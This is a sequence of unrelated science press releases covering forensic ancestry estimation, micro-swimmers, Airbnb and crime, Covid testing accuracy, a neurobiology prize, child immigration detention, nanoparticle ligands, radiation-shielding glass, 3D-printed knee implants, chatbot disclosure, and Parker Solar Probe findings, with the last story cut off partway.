In their review of recent papers, the researchers found that forensics experts often still referred to remains as being of African, Asian or European origin.

"But our analysis of these nine datasets shows that this approach is wrong, because it's not that simple," Ross says.

"Let's use Panama as an example," says Ross, who is from Panama. "There have been huge movements of people into this area from all over the world over the past 500 years: indigenous peoples who predate colonialism, colonizers from Europe, slaves from Africa, immigrants from Asia. The contemporary remains we see in Panama reflect all of those influences."

Ross also noted that the analysis of the nine datasets also highlighted a flaw in the contemporary idea of "clines." The idea of clines is basically that, while there are changes from one group of people to another, populations who are geographically close to each other are more similar than populations that are geographically distant. However, the researchers found that this assumption can be misleading.

For example, Panama and Colombia share a border, but very different historical forces have acted on Panama and Colombia in recent centuries - so the skeletal characteristics of remains from those two countries are much less similar than one would anticipate.

"All of this is important for multiple reasons, such as taking meaningful steps to reduce racism in our field, and ensuring that we are communicating clearly with each other within the discipline," Ross says. "It is also important because marginalized people are most often the people whose remains go unidentified. Labeling them as 'Hispanic' or 'Black' is misleading. We, as forensic anthropologists, need to change the way we think about origin. We need to begin thinking about physical markers in the context of population affinity and how we can use that to both communicate clearly and to help understand who we are seeing when we work with unidentified remains. We need to ensure that we are not contributing - even inadvertently - to structural inequities and racism.

"This also means that we are faced with a wide range of new research questions. As a field, much of our work has focused on looking at data from the remains of historic populations. I think we need to begin doing more work that can help us better understand the ways in which historical events have helped to shape the skeletal characteristics of modern populations."

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The study, "Ancestry Studies in Forensic Anthropology: Back on the Frontier of Racism," is published open access in the journal Biology. The paper was co-authored by Shanna Williams, a clinical associate professor of biomedical sciences at the University of South Carolina School of Medicine Greenville.
A team of scientists has uncovered how heavy, motorized objects climb steep slopes--a newly discovered mechanism that also mimics how rock climbers navigate inclines.

The findings, which appear in the journal Soft Matter, stem from a series of experiments in which motorized objects were placed in liquid and then moved up tilted surfaces.

"These 'micro-swimmers' are about 20 times heavier than the fluid they swim in, but they were able to climb steep slopes that are almost vertical," explains Jun Zhang, one of the paper's authors and a professor of physics and mathematics at New York University's Courant Institute of Mathematical Sciences and NYU Shanghai.

The work enhances our understanding of "gravitaxis"--directional movement in response to gravity. The phenomenon is a vital consideration in not only engineering, but also in medicine and pharmaceutical development. It explains, in part, how bacteria move through the body and provides insights into ways to create more effective drug-delivery mechanisms.

In the Soft Matter research, the scientists created swimmers, or nanorods, whose length is roughly 1/40th the width of a strand of human hair. These motorized swimmers were tasked with moving up an inclined surface while immersed in a liquid solution within a walled container. The swimmers were composed of two types of metal--gold and rhodium as well as gold and platinum--a makeup that gave them unbalanced densities given the varying weights of these metals.

The swimmers' composition, liquid environment, and juxtaposition of surfaces enabled them to move upward, despite their significant weight.

"These motors reorient themselves upward against gravity thanks to their density imbalance--much like a seesaw reorients itself in response to the movement and weight of its riders," adds Michael Shelley, a professor at the Courant Institute and director of the Flatiron Institute's Center for Computational Biology. "A hydrodynamic effect amplifies this movement--swimming next to a wall yields a bigger torque in repositioning the motors' bodies upwards. This is important because the microscopic world is noisy--for the motor it's always two steps up and one step down--and the bigger torque improves their ability to move vertically."

In previous work, published in Physical Review Letters, Zhang, Shelley, and their colleagues created "nano-motors" in uncovering an effective means of movement against currents. The new research expands on these findings by revealing how heavy objects can move up steeply inclined surfaces, offering the promise of even more sophisticated maneuvers.

"Now that these micro-swimmers are able to climb very steep slopes against gravity, we can look toward developing even more difficult assignments," observes Zhang. "Future, advanced motors will be designed to reach targeted locations and to perform designated functions."

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The study's other co-authors included Quentin Brosseau, a post-doctoral researcher at the Courant Institute at the time of the research, Yang Wu, a doctoral candidate in NYU's Department of Chemistry, Michael Ward, a professor in NYU's Department of Chemistry, Leif Ristroph, an associate professor at the Courant Institute, Florencio Balboa Usabiaga of the Flatiron Institute, and Enkeleida Lushi of the New Jersey Institute of Technology.

This work was supported by the MRSEC Program of the National Science Foundation (DMR-1420073) and also by NSF grants DMS-RTG-1646339, DMS-1463962, and DMS- 1620331.
A new study on the effects of Airbnb listings on Boston neighborhoods suggests that the prevalence of listings may hamper local social dynamics that prevent crime. However, tourists themselves do not appear to generate or attract higher levels of crime. Babak Heydari, Daniel T. O'Brien, and Laiyang Ke of Northeastern University in Boston, MA, USA present these findings in the open-access journal PLOS ONE on July 14, 2021.

Widespread sentiment holds that Airbnb listings cause increased crime in residential neighborhoods. However, there has been limited research to explore and clarify this link.

To better understand the relationship between Airbnb listings and crime, Heydari and colleagues conducted a statistical analysis of listings and data on different types of crime (using categories of 911 calls) in Boston, MA. Covering a period from 2011 to 2017, they focused on two mechanisms by which the presence of short-term rentals might boost crime. First, tourists themselves may generate or attract crime. Second, the presence of Airbnb listings may disrupt local social dynamics that would normally mitigate or prevent crime.

The researchers found that the prevalence of Airbnb listings in a given neighborhood was linked to higher rates of violence, but not to public social disorder or private conflict. In addition, this link did not appear immediately after the listings became available to tourists, but rather arose and grew over several years.

These findings, especially the lag in increased violence, suggest that Airbnb tourists themselves do not cause or attract greater amounts of crime. Instead, an increased proportion of a neighborhood's housing units being converted to short-term rentals may gradually erode local social dynamics, leading to increased violence.

These findings could help urban planners and policy makers make better-informed decisions related to the impact of Airbnb listings on neighborhoods. These findings could also be useful for platform companies to create more effective platform governance and self-regulating mechanisms. Future research could explore whether similar results are seen in other cities, including those of difference sizes or demographics. Additional studies could also investigate other facets of the presence of Airbnb listings in neighborhoods.

Heydari says: "We show that it's not the number of Airbnb tourists who stay in a neighborhood that causes increase in criminal activities, but it's the creation of transient properties spread throughout a neighborhood that undermines social organization and social capital and over time and can cause disorder and criminal activities as a result.

Heydari adds, "This paper is one of the first papers that measures the causal social impact of sharing platforms at neighborhood level for short-term rental platforms [and] quantifies the causal effect of short-term rentals on criminal activities and disorders in neighborhoods. More importantly, [this paper] identifies the mechanism behind such effects. Identifying causal mechanism is for more effective governance of these platforms, either through government regulations or via designing self-regulating mechanism by platforms themselves."

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Citation: Ke L, T. O'Brien D, Heydari B (2021) Airbnb and neighborhood crime: The incursion of tourists or the erosion of local social dynamics? PLoS ONE 16(7): e0253315. https:/ / doi. org/ 10. 1371/ journal. pone. 0253315

Funding: The authors were partially supported by the TIER 1: Seed Grant/Proof of Concept Program of Northeastern University. The work was also in part supported by the National Science Foundation, under Grant CMMI-1548521. The funders had no role in study design, data collection and analysis, decision to publish, or preparation of the manuscript.

Competing Interests: The authors have declared that no competing interests exist.
A study led by Queen Mary University of London and University of Oxford has found that lateral flow tests detect Covid-19 with similar accuracy to laboratory-based PCR tests, providing they are used at the onset of infection and soon after symptoms start.

A new study by researchers at Queen Mary University of London, University of Oxford, Institute for Advanced Studies, Vienna, and the Medical University of Graz, has found that lateral flow tests detect Covid-19 with similar accuracy to laboratory-based PCR tests, providing they are used at the onset of infection and soon after symptoms start.

Lateral flow tests are cheaper and produce a result in just 30 minutes - much faster than the time it takes to receive a PCR test result, which can take 1-3 days. The finding could be pivotal to national strategies looking to tackle the next phase of the pandemic, especially as timely and rapid testing becomes even more important once the current restrictions lift in England.

As part of the study, over 2,500 people with mild to moderate flu-like symptoms were assessed by GPs in the district of Liezen (population 79,652), Austria, between October 22 and November 30, 2020 and tested for viral antigen using lateral flow tests. Those who were suspected to have Covid-19 were also tested using a PCR test.

The lateral flow tests detected more than 95 per cent of the cases found by PCR, and correctly identified 89 per cent of cases as negative.

The study is the first to compare lateral flow and PCR testing on the same group of people on a large scale. It also included the variables of a real-world setting: five different brands of test kit, three laboratories, and professional swabbing offered at 20 GP practices.

Study author Dr Werner Leber from Queen Mary University of London said: "Previous studies have suggested lateral flow tests may be less sensitive than PCR in detecting Covid-19, particularly among asymptomatic individuals and during the early or late stage of an infection when the viral load is lowest. But we have found that in patients who are newly symptomatic, the two testing methods have similar levels of accuracy.

"Countries are considering using lateral flow tests to manage future waves of the pandemic. Our findings support this move, but ensuring tests are properly administered should be integral to any strategy."

Dr Jasmina Panovska-Griffiths from the Big Data Institute and The Queen's College at University of Oxford added: "In our study, both shorter duration of symptoms and higher viral load were significantly associated with positive lateral flow tests. This highlights the necessity of testing at early infection with lateral flow tests, and shows that in patients who are newly symptomatic, the two testing methods have similar levels of accuracy.

"Our study is the first study to demonstrate that point-of-care antigen testing using lateral flow tests combined with clinical assessment of symptomatic patients can rapidly and accurately detect SARS-CoV-2 infection in primary care."

Dr Thomas Czypionka from the Institute for Advanced Studies, Vienna, stated: "The study results provide the basis for future containment strategies in primary care, which can make an important contribution in control and prevention of a pandemic. In the context of future relaxations of lockdown rules - in addition to vaccinations - the early detection of people with infection through reliable tests will be necessary in order to control COVID-19."

Prof Dr. Andrea Siebenhofer, from the Institute of General Practice and Evidence-based Health Services Research, Medical University Graz, said: "This trial was the first in Styria where general practitioners were actively involved in the research process. Research from practice for practice and with a result that can immediately contribute to an optimization of care during the COVID-19 pandemic."

In summary, this study provides evidence that lateral flow tests can accurately detect SARS-CoV-2 infection as an alternative to PCR testing among symptomatic patients in a real-life primary care setting across a large geographical area.

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The study was funded by the European Union's Horizon 2020 Research and Innovation Program (grant agreement No 101016233 (PERISCOPE).

For more information, please contact:

Joel Winston

Communications Manager (School of Medicine and Dentistry)

Queen Mary University of London

j.winston@qmul.ac.uk

Tel: +44 (0)7968 267 064

Notes to the editor

* Research paper: 'Comparing the diagnostic accuracy of point-of-care lateral flow antigen testing for SARS-CoV-2 with RT-PCR in primary care (REAP-2)'. Werner Leber, Oliver Lammel, Andrea Siebenhofer, Monika Redlberger-Fritz, Jasmina Panovska-Griffiths, Thomas Czypionka. EClinicalMedicine. DOI 10.1016/j.eclinm.2021.101011

Available here after the embargo lifts: https:/ / doi. org/ 10. 1016/ j. eclinm. 2021. 101011

About Queen Mary University of London

At Queen Mary University of London, we believe that a diversity of ideas helps us achieve the previously unthinkable.

In 1785, Sir William Blizard established England's first medical school, The London Hospital Medical College, to improve the health of east London's inhabitants. Together with St Bartholomew's Medical College, founded by John Abernethy in 1843 to help those living in the City of London, these two historic institutions are the bedrock of Barts and The London School of Medicine and Dentistry.

Today, Barts and The London continues to uphold this commitment to pioneering medical education and research. Being firmly embedded within our east London community, and with an approach that is driven by the specific health needs of our diverse population, is what makes Barts and The London truly distinctive.

Our local community offer to us a window to the world, ensuring that our ground-breaking research in cancer, cardiovascular and inflammatory diseases, and population health not only dramatically improves the outcomes for patients in London, but also has a far-reaching global impact.

This is just one of the many ways in which Queen Mary is continuing to push the boundaries of teaching, research and clinical practice, and helping us to achieve the previously unthinkable.
Particular emphasis was placed on "the originality of his work, the relevance of his numerous contributions to the field of developmental neurobiology, and his focused work on a big problem over many years. In particular, his pioneering work on the implantation of pluripotent stem cells in functional brain circuits opened up numerous possibilities for cell therapy in the nervous system. His research has also contributed to revealing basic aspects of development that allow us to better understand how a structure with the complexity of the human cerebral cortex has appeared".

The contributions of Pierre Vanderhaeghen (Brussels, 1967), a physician by training, represent a new approach to the mechanisms of neural development and provide important new opportunities for brain repair and modeling of human brain diseases.

"Almost 15 years ago we started doing transplants of nerve cells generated from stem cells, basically as a tool to study brain and nerve cell development. And if you had asked me at that time whether this would lead to interesting prospects for brain repair, I would have been very cautious, and I still am, and also quite skeptical about the prospect of neural repair with stem cell therapy. But I must say that the observation we made that by transplanting a young nerve cell into an adult brain, this cell seems to be able to integrate in a very fruitful, physiological and functional way is very surprising and opens up very interesting possibilities for brain repair. Whether this will be used to treat patients in the future is still the big question and I think it will depend on each disease," he says.

HIS MOST RECENT ACHIEVEMENT

His most recent achievement, published last year in the journal Science, was the discovery that mitochondria, the "powerhouses" of cells, directly regulate neurogenesis. "This is quite remarkable, because mitochondria are very ancient structures that are present in all cells of living organisms, whether animal or plant. However, they may have played a role in the evolution of the human brain," emphasizes Vanderhaeghen.

The influence of the research carried out by Vanderhaeghen is supported by the large number of awards he has received. He is a member of the European Molecular Biology Organization (EMBO) and the Royal Belgian Academy of Medicine; he has received important awards, such as the FRANCQUI, Belgium's most prestigious award; the Fondation de Spoelberch International Prize for neurological diseases, the GENERET Prize for orphan diseases, two European Research Council (ERC) Advanced Projects, and an AXA Distinguished Chair in Neuroscience and Longevity.

These awards are now joined by the Remedios Caro Almela Prize in its 10th edition, which has recognized since its creation the work of nine other experts in this field of developmental neurobiology: Oscar Marin (2019), Alain Chedotal (2017), Silvia Arber (2015), Magdalena Gotz (2013), Christine Holt (2011), Steve Wilson (2009), Rudiger Klein (2008), Francois Guillemot (2007) and Barry Dickson (2006).

"I am very honored to join this prestigious list of developmental neurobiologists. I also feel very grateful to the members of my laboratory, both those who are currently working in it and those who did so in the past, because obviously without them none of the research for which I am fortunate to receive this award would have been possible," says Pierre Vanderhaeghen.

The jury for this edition was composed of the following professors: Christine E. Holt, Cambridge University, (RCA Award 2011); Magdalena Gotz, Ludwing-Maximilians University and Helmholtz Center Munich, Germany, (RCA Award 2013); Silvia Arber, FMI and Biocentrum Basel, Switzerland, (RCA Award 2015); Richard Morris, University of Edinburgh, United Kingdom (RCA since 2013); Angel Barco, Director of the Instituto de Neurociencias UMH-CSIC, and Domingo Orozco, Vice-Rector for Research at the Miguel Hernandez University of Elche and President of the Committee.

The "Remedios Caro Almela" Award for Research in Developmental Neurobiology is biennial and is endowed with 20,000 euros. During the award ceremony, which will take place at the end of the year, the winner will give at the Instituto de Neurociencias UMH-CSIC the tenth "Remedios Caro Almela" conference to present his scientific achievements.

The Remedios Caro Almela Award is aimed at recognizing the work of a European researcher who has carried out a particularly outstanding scientific work in this field and who is currently carrying out cutting-edge research in the development of the nervous system.

The Remedios Caro Almela Chair of Developmental Neurobiology was created in 2000 as a result of the philanthropic initiative of Fernando Martinez Ramos and family in honor of his prematurely deceased wife. The Chair, which was created within the framework of the Instituto de Neurociencias, a joint center of the Consejo Superior de Investigaciones Cientificas (CSIC) and the Miguel Hernandez University of Elche, aims to promote research on the nervous system at the molecular, cellular and organic levels, both in normal and pathological conditions, with a particular focus on the study of the development of the nervous system.

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The COVID-19 pandemic has amplified calls to end the detention of migrant children, as cases surge among children held in crowded conditions; yet immigration detention's threats to children's fundamental rights did not begin with the current public health crisis.

Unlike nearly three-quarters of high-income countries, however, the U.S. has no laws specifically limiting the detention of accompanied migrant and asylum-seeking children, according to a new study by the UCLA Fielding School of Public Health's WORLD Policy Analysis Center (WORLD). Moreover, the U.S. offers minimal legal protection for unaccompanied minors, and for children who are detained, the U.S. has no legal guarantees of access to adequate healthcare or education.

"The U.S. lags behind when it comes to protecting the most fundamental rights of migrant children," said Dr. Jody Heymann, a UCLA distinguished professor of public health, public policy, and medicine who serves as director of WORLD. "The child detention crisis did not begin or resolve with a single administration, and these longstanding gaps in the law have left countless children vulnerable to grave health risks and human rights violations. Adopting legal protections that provide for the types of effective alternatives to detention modeled elsewhere is critical to bringing the U.S. in line with its peers and ensuring children can no longer be detained or denied access to health and education simply because of their migration status."

Heymann is lead author of a study - "Preventing Immigration Detention of Children: a Comparative Study of Laws in 150 Countries" - published in the July edition of the peer-reviewed International Journal of Human Rights; it is currently available electronically. Her team systematically coded legal restrictions on detention of child migrants in the 150 most populous United Nations-member countries, as well literature on the cost/benefits of varying approaches to keeping such children safe and under responsible oversight.

Overall, the research team found that while the U.S. falls behind other high-income nations, gaps persist globally: looking across low-, middle-, and high-income countries, less than a quarter legally protect unaccompanied asylum-seekers from detention and only 11% do so for accompanied minor migrants.

"International treaties are clear that detaining children based on citizenship is a violation of human rights law," said Aleta Sprague, a senior legal analyst at WORLD. "The U.N. Convention on the Rights of the Child--signed by the U.S. and ratified by every other country globally--guarantees all children's rights to health, education, liberty, and family unity, and national legislation prohibiting child detention plays a critical role in realizing these commitments."

Researchers have consistently found that the detention of migrant and asylum-seeking children is commonly associated with anxiety, depression, and posttraumatic stress disorder (PTSD), among other conditions; all of these can have both mental and physical tolls on children's life expectancy.

"The lack of adequate legal protections for migrant children's access to health and education is a global issue," said Amy Raub, a research analyst at WORLD. "While detention on its own has grave implications for health, conditions of detention routinely exacerbate these health risks while threatening migrant children's other fundamental rights."

Among countries that permit detention in at least some circumstances, only a minority address basic rights such as separation from adult strangers, family unity, access to education, and access to health care. The U.S. is not among the 34% of high-income countries that guarantee access to education or the 44% of high-income countries that guarantee access to health care for detained accompanied minor migrants.

These outcomes are avoidable: effective and human rights-respecting alternatives to detention (ATDs) exist, and widespread evidence from both government and non-government organizations (NGOs) supports their adoption, researchers said.

For example, in Germany, Canada, and the U.S. (in pilots), ATDs that provided case management and community-based living have demonstrated 95%-98% compliance including with immigration interviews and court appearances. There are also financial savings - a short-lived social services-based ATD in the U.S., the Family Case Management Program, cost just $38.47 per participant per day compared to $318.79 per detainee, while reporting a 99% compliance rate.

"Not only can ATDs eliminate detention's grave health risks to children and their parents, but they can also dramatically lower government costs," Heymann said. "This is good public policy in terms of effectiveness and cost efficiency ... and it is also simple human decency."

Methods: To assess the quality of legislative protections for migrant and asylum-seeking children from detention, researchers created quantitatively comparable data on legal provisions across the 150 most populous U.N. member states. Primary sources for national-level laws, regulations, ministerial decisions, and executive decrees pertaining to asylum-seekers, refugees, and immigration were the United Nations High Commissioner for Refugees' (UNHCR) RefWorld catalog and ILO NATLEX legislative database. The team captured legislative provisions that were in effect as of July 31, 2018.

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RESEARCH TRIANGLE PARK, N.C. -- Army-funded research identified a new chemistry approach that could remove micropollutants from the environment.

Micropollutants are biological or chemical contaminants that make their way into ground and surface waters in trace quantities.

Using a pioneering imaging technique, Cornell University researchers obtained a high-resolution snapshot of how ligands, molecules that bind to other molecules or metals, interact with the surface of nanoparticles. In doing so, they made an unexpected breakthrough discovery. They determined that by varying the concentration of an individual ligand they could control the shape of the particle it attached too.

This approach could result in an array of daily applications, including developing chemical sensors that are sensitive at a very low level to a specific chemical in the environment.

"Professor Peng Chen's work allows for deep insights into molecular adsorption processes, which is important to understand for designing molecular sensors, catalysts, and schemes to clean up micro-pollutants in the environment," said Dr. James Parker, program manager, U.S. Army Combat Capabilities Development Command, known as DEVCOM, Army Research Laboratory. "This research is also important for designing and engineering stimuli-responsive materials with specialized function that could not be found in regular, bulk materials."

The research, published in Nature Communications, studied interactions of ligands and gained new understanding of the strength, or affinity of ligand adsorption as well as how multiple ligands cooperate, or don't, with each other.

"When the molecule adsorbs on the surface of a nanoscale material, it also actually protects the surface and makes it more stable," said Dr. Peng Chen, the Peter J.W. Debye Professor of Chemistry in the College of Arts and Sciences at Cornell University, who led the research. "This can be utilized to control how nanoscale particles grow and become their eventual shape. And we found we can do this with just one ligand. You don't do any other trick. You just decrease the concentration or increase the concentration, and you can change the shape."

Understanding how ligands interact with the surface of nanoparticles has been a challenge to study. Adsorbed ligands are difficult to identify because there are other molecules in the mix, and nanoparticle surfaces are uneven and multifaceted, which means they require incredibly high spatial resolution to be scrutinized.

A nanoparticle's size and surface structures, or facets, are intrinsically tied to the particle's potential applications. The larger the particle, the more atoms fit inside it, while smaller particles have less available space internally but a greater surface volume ratio for atoms to sit atop, where they can be utilized for processes such as catalysis and adsorption. The different types of structures the atoms and molecules form on these surface facets are directly correlated with the particle's shape.

Army-funded research identifies a new chemistry approach that could remove micropollutants from the environment.

Scientists have used several imaging methods to survey these particles, but until now, they haven't been able to obtain nanometer resolution to really explore the nooks and crannies of the multiple surface facets and quantify the affinity, or strength, of a ligand's adsorption. The research team was able to do just that by employing a method of their own devising called COMPetition Enabled Imaging Technique with Super-Resolution or COMPEITS.

The process works by introducing a molecule that reacts with the particle surface and generates a fluorescent reaction. A nonfluorescent molecule is then sent to bind to the surface, where its reaction competes with the fluorescent signal. The resulting decrease in fluorescence, essentially creating a negative image, can then be measured and mapped with super high resolution.

Using COMPEITS on a gold nanoparticle, the team was able to quantify the strength of ligand adsorption, and they discovered ligand behavior can be very diverse. Ligands, it turns out, are fair-weather friends of a sort, at some sites they cooperate to help each other adsorb, but at other sites they can impair each other's efforts. The researchers also discovered that sometimes this positive and negative cooperativity exists at the same site.

In addition, the researchers learned that the surface density of adsorbed ligands can determine which facet is dominant. This crossover inspired the team to vary the concentrations of individual ligands as a way to tune the shape of the particle itself.

"For us, this has opened more possibilities," Chen said. "For example, one way to remove micropollutants, such as pesticides, from the environment is to adsorb micro-portions on the surface of some adsorbent particle. After it is adsorbed on the surface of the particle, if the particle is a catalyst, it can catalyze the destruction of the micropollutants."

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In addition to ARL, the Center for Alkaline-Based Energy Solutions, an Energy Frontier Research Center of U.S. Department of Energy supported the research.

Visit the laboratory's Media Center to discover more Army science and technology stories

As the Army's national research laboratory, ARL is operationalizing science to achieve transformational overmatch. Through collaboration across the command's core technical competencies, DEVCOM leads in the discovery, development and delivery of the technology-based capabilities required to make Soldiers more successful at winning the nation's wars and come home safely. DEVCOM Army Research Laboratory is an element of the U.S. Army Combat Capabilities Development Command. DEVCOM is a major subordinate command of the Army Futures Command.
An international research team, including physics from Russia, has created new glasses for protection against X-ray and gamma radiation. Scientists could select new components that improved the characteristics of the samples and allowed to reduce the amount of lead in the glass composition. Physicists engineered several samples of glasses. One of the latest results - glasses based on barium fluoride - was described by the team in the Optic magazine. But the best results have bismuth borate glasses. Its radiation protection characteristics (mean-free-path, half-value layer) are better than commercial analogs. The features of these samples are described in the Scientific Reports.

"Gamma-ray is using in many fields like industrial (to detect defects in metal casting), medical (to treat malignant and cancerous tumors), agriculture (to control the degree of ripeness and extend the shelf life of fruits and vegetables) and space applications, etc," says Karem Abdelazim Gaber Mahmud, co-author of the research articles, research engineer at the Ural Federal University (Russia), an employee of the Nuclear Material Authority (Egypt). "Gamma radiation has significant penetrating depths, so we are faced with the task of creating a material that could provide maximum protection and the necessary safety for workers."

Commercial radiation shielded glasses contain predominantly lead and phosphate. Due to its high density, lead is one of the most effective protection against gamma-ra?. But this is a heavy toxic metal. Lead glass can weigh up to several hundred kilograms. Therefore, scientists worldwide try to find the optimal composition, components that would help lighten the weight of the glass, reduce the thickness, and lower cost price. Another problem is that after exceeding a certain percentage of additive materials, the glasses lose their clarity, just as after absorbing a certain dose of radiation. Therefore, on the one hand, it is necessary to minimize the amount of lead in the glass composition, while maintaining the protective properties, and on the other hand, it is necessary to extend the shelf life of the end-product, its clarity. Scientists from Jordan, Saudi Arabia, Turkey, Malaysia, China, Egypt are working most actively in this direction.

"Scientists began to create protective glasses in the late 1940s, in the early 1950s, during the formation of nuclear power," says Oleg Tashlykov, research co-author, associate professor at Ural Federal University. "That time in England, America, Russia they were solving the problem of monitoring radiation-hazardous work. They came up with several options for glasses with different additives, but everywhere the basic components are lead and phosphate. The current trend is to choose such a composition to minimize the volume of lead, or better to replace it with another metal."

Note that the protective properties of glass researchers have experimentally tested at the Institute of Reactor Materials of the Russian state corporation "Rosatom" (Sverdlovsk region, Russia). The next step is further research of parameters, improvement, and optimization of the composition, commercialization of technology.

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Pioneering 'printed metal' procedure to create bespoke treatment for early knee osteoarthritis set to be trialled in the UK following MHRA approval.

World's first 3D printed high tibial osteotomy (HTO) device and procedure developed at University of Bath given approval for UK trials

Bespoke titanium alloy HTO implants that fit perfectly are designed to reduce discomfort for knee osteoarthritis patients

Sophisticated 3D scanning aims to make surgery quicker and safer

New TOKA process could make earlier intervention possible - saving patients decades of pain before surgery becomes viable

Intro

A groundbreaking new treatment that uses 3D printed implants and that could bring relief to tens of thousands of knee osteoarthritis sufferers has received approval to be trialled in UK patients, following a virtual "in-silico" trial that demonstrated its safety.

The personalised early knee osteoarthritis treatment, developed by engineers at the University of Bath's Centre for Therapeutic Innovation (CTI), uses state of the art 3D metal printing technology to make personalised medical-grade titanium-alloy plates that perfectly fit every patient.

The TOKA (Tailored Osteotomy for Knee Alignment) treatment improves the operative procedure and fit of high-tibial osteotomy (HTO) plates used to realign a patient's knee, making them more stable, comfortable and better able to bear weight than existing generic plates. The technique also simplifies HTO surgery, making operations quicker and therefore safer.

The HTO plates have already been safety tested virtually, in a computer-based trial using CT scan data from 28 patients. The in-silico clinical trial, the first in the world to demonstrate the safety of an orthopaedic device, modelled the stresses that would be exerted on the bespoke plates and showed that they would be comparable in safety to the standard treatment.

Professor Richie Gill, from the Centre for Therapeutic Innovation, says: "Knee osteoarthritis is a major health, social and economic issue and does not receive as much attention as it should. A quarter of women over 45 have it, and about 15 percent of men, so it's a significant burden that many live with.

"Knee replacement is only useful for end-stage osteoarthritis, so you can be in pain and have to live with a disability for a long time, potentially decades, before it's possible. We hope that the new TOKA process we've developed will change that."

Knee osteoarthritis patients undergoing TOKA will undergo a 3D CT scan of their knee, before a personalised 3D printed surgical guide and plate, both shaped to their tibia (shin) bone is created. The surgical guide simplifies the surgery, and is designed to improve surgical accuracy.

The process also sees the first implementation of 3D printed screw threads into the HTO plates, meaning they can be optimally positioned to help secure them against the bone.

Trials to begin once clinical centres reopen for elective surgery

When clinical centres return to carrying out elective surgery, expected later this year, the trials will begin. Hospitals in Bath, Bristol, Exeter and Cardiff will take part in a randomised control trial to compare patient outcomes with an existing generic HTO procedure.

Tests of the TOKA technique have already begun in Italy, where so far 25 patients received new personalised HTO plates as part of a trial at the Rizzoli Institute in Bologna.

High Tibial Osteotomy (HTO) surgery realigns the knee joint by making a cut to the tibia (shin bone) and opening a small gap, which needs to be stabilised by a metal plate. This realignment moves the loading to a less 'worn' part of the knee. Patient outcomes depend on how accurately the cut is made and the gap opened.

Prof Gill adds: "The HTO surgery has a long clinical history and it has very good results if done accurately. The difficulty surgeons have is achieving high accuracy, which is why we have created the TOKA method, which starts with a CT scan and digital plan.

"3D printing the custom knee implant and doing the scanning before operating means surgeons will know exactly what they'll see before operating and where the implant will go."

"In addition to a surgeon being able to precisely plan an operation, a surgical guide (or jig) and a plate implant, each personalised to the patient, can be 3D printed automatically based on the scanning data.

"Importantly this type of treatment relieves the symptoms of knee osteoarthritis while preserving the natural joint."

The pre-planning element greatly simplifies surgery and could cut the time on the operating table from two hours to around 30 minutes.

The work to date and UK trial is supported and funded by Versus Arthritis. The in silico trial has been published in Communications Medicine.

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More and more companies are using chatbots in customer services. Due to advances in artificial intelligence and natural language processing, chatbots are often indistinguishable from humans when it comes to communication. But should companies let their customers know that they are communicating with machines and not with humans? Researchers at the University of Gottingen investigated. Their research found that consumers tend to react negatively when they learn that the person they are talking to is, in fact, a chatbot. However, if the chatbot makes mistakes and cannot solve a customer's problem, the disclosure triggers a positive reaction. The results of the study were published in the Journal of Service Management.

Previous studies have shown that consumers have a negative reaction when they learn that they are communicating with chatbots - it seems that consumers are inherently averse to the technology. In two experimental studies, the Gottingen University team investigated whether this is always the case. Each study had 200 participants, each of whom was put into the scenario where they had to contact their energy provider via online chat to update their address on their electricity contract following a move. In the chat, they encountered a chatbot - but only half of them were informed that they were chatting online with a non-human contact. The first study investigated the impact of making this disclosure depending on how important the customer perceives the resolution of their service query to be. In a second study, the team investigated the impact of making this disclosure depending on whether the chatbot was able to resolve the customer's query or not. To investigate the effects, the team used statistical analyses such as covariance and mediation analysis.

The result: most noticeably, if service issues are perceived as particularly important or critical, there is a negative reaction when it is revealed that the conversation partner is a chatbot. This scenario weakens customer trust. Interestingly, however, the results also show that disclosing that the contact was a chatbot leads to positive customer reactions in cases where the chatbot cannot resolve the customer's issue. "If their issue isn't resolved, disclosing that they were talking with a chatbot, makes it easier for the consumer to understand the root cause of the error," says first author Nika Mozafari from the University of Gottingen. "A chatbot is more likely to be forgiven for making a mistake than a human." In this scenario, customer loyalty can even improve.

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Original publication: Mozafari, Nika, Weiger, Welf H. and Hammerschmidt, Maik (2021), "Trust me, I'm a bot - repercussions of chatbot disclosure in different service frontline settings", Journal of Service Management. https:/ / doi. org/ 10. 1108/ JOSM-10-2020-0380

Contact:

Nika Mozafari, MSc

University of Gottingen

Marketing and Innovation Management

Platz der Gottinger Sieben 3, 37073 Gottingen, Germany

Tel: +49 (0) 551 39-39-26546

Email: nika.mozafari@wiwi.uni-goettingen.de
As the Parker Solar Probe ventures closer to the sun, we are learning new things about our home star.

In a new study, physicists led by the University of Iowa report the first definitive measurements of the sun's electric field, and how the electric field interacts with the solar wind, the fast-flowing current of charged particles that can affect activities on Earth, from satellites to telecommunications.

The physicists calculated the distribution of electrons within the sun's electric field, a feat made possible by the fact that the Parker Solar Probe jetted within 0.1 astronomical units (AU), or a mere 9 million miles, from the sun--closer than any spacecraft has approached. From the electrons' distribution, the physicists were able to discern the size, breadth, and scope of the sun's electric field more clearly than had been done before.

"The key point I would make is you can't make these measurements far away from the sun. You can only make them when you get close," says Jasper Halekas, associate professor in the Department of Physics and Astronomy at Iowa and the study's corresponding author. "It's like trying to understand a waterfall by looking at the river a mile downstream. The measurements we made at 0.1 AU, we're actually in the waterfall. The solar wind is still accelerating at that point. It's really just an awesome environment to be in."

The sun's electric field arises from the interaction of protons and electrons generated when hydrogen atoms are stripped apart in the intense heat generated by fusion deep within the sun. In this environment, electrons, with masses 1,800 times less than that of protons, are blown outward, less constrained by gravity than their weightier proton siblings. But the protons, with their positive charge, exert some control, reining in some electrons due to the familiar attraction forces of oppositely charged particles.

"Electrons are trying to escape, but protons are trying to pull them back. And that is the electric field," says Halekas, a co-investigator for the Solar Wind Electrons, Alphas, and Protons instrument aboard the Parker Solar Probe, the NASA-led mission that launched in August 2018. "If there were no electric field, all the electrons would rush away and be gone. But the electric field keeps it all together as one homogenous flow."

Now, imagine the sun's electric field as an immense bowl and the electrons as marbles rolling up the sides at differing speeds. Some of the electrons, or marbles in this metaphor, are zippy enough to cross over the lip of the bowl, while others don't accelerate enough and eventually roll back toward the bowl's base.

"We are measuring the ones that come back and not the ones that don't come back," Halekas says. "There's basically a boundary in energy there between the ones that escape the bowl and the ones that don't, which can be measured. Since we're close enough to the sun, we can make accurate measurements of electrons' distribution before collisions occur further out that distort the boundary and obscure the imprint of the electric field."

From those measurements the physicists can learn more about the solar wind, the million-mile-per-hour jet of plasma from the sun that washes over the Earth and other planets in the solar system. What they found is the sun's electric field exerts some influence over the solar wind, but less than had been thought.

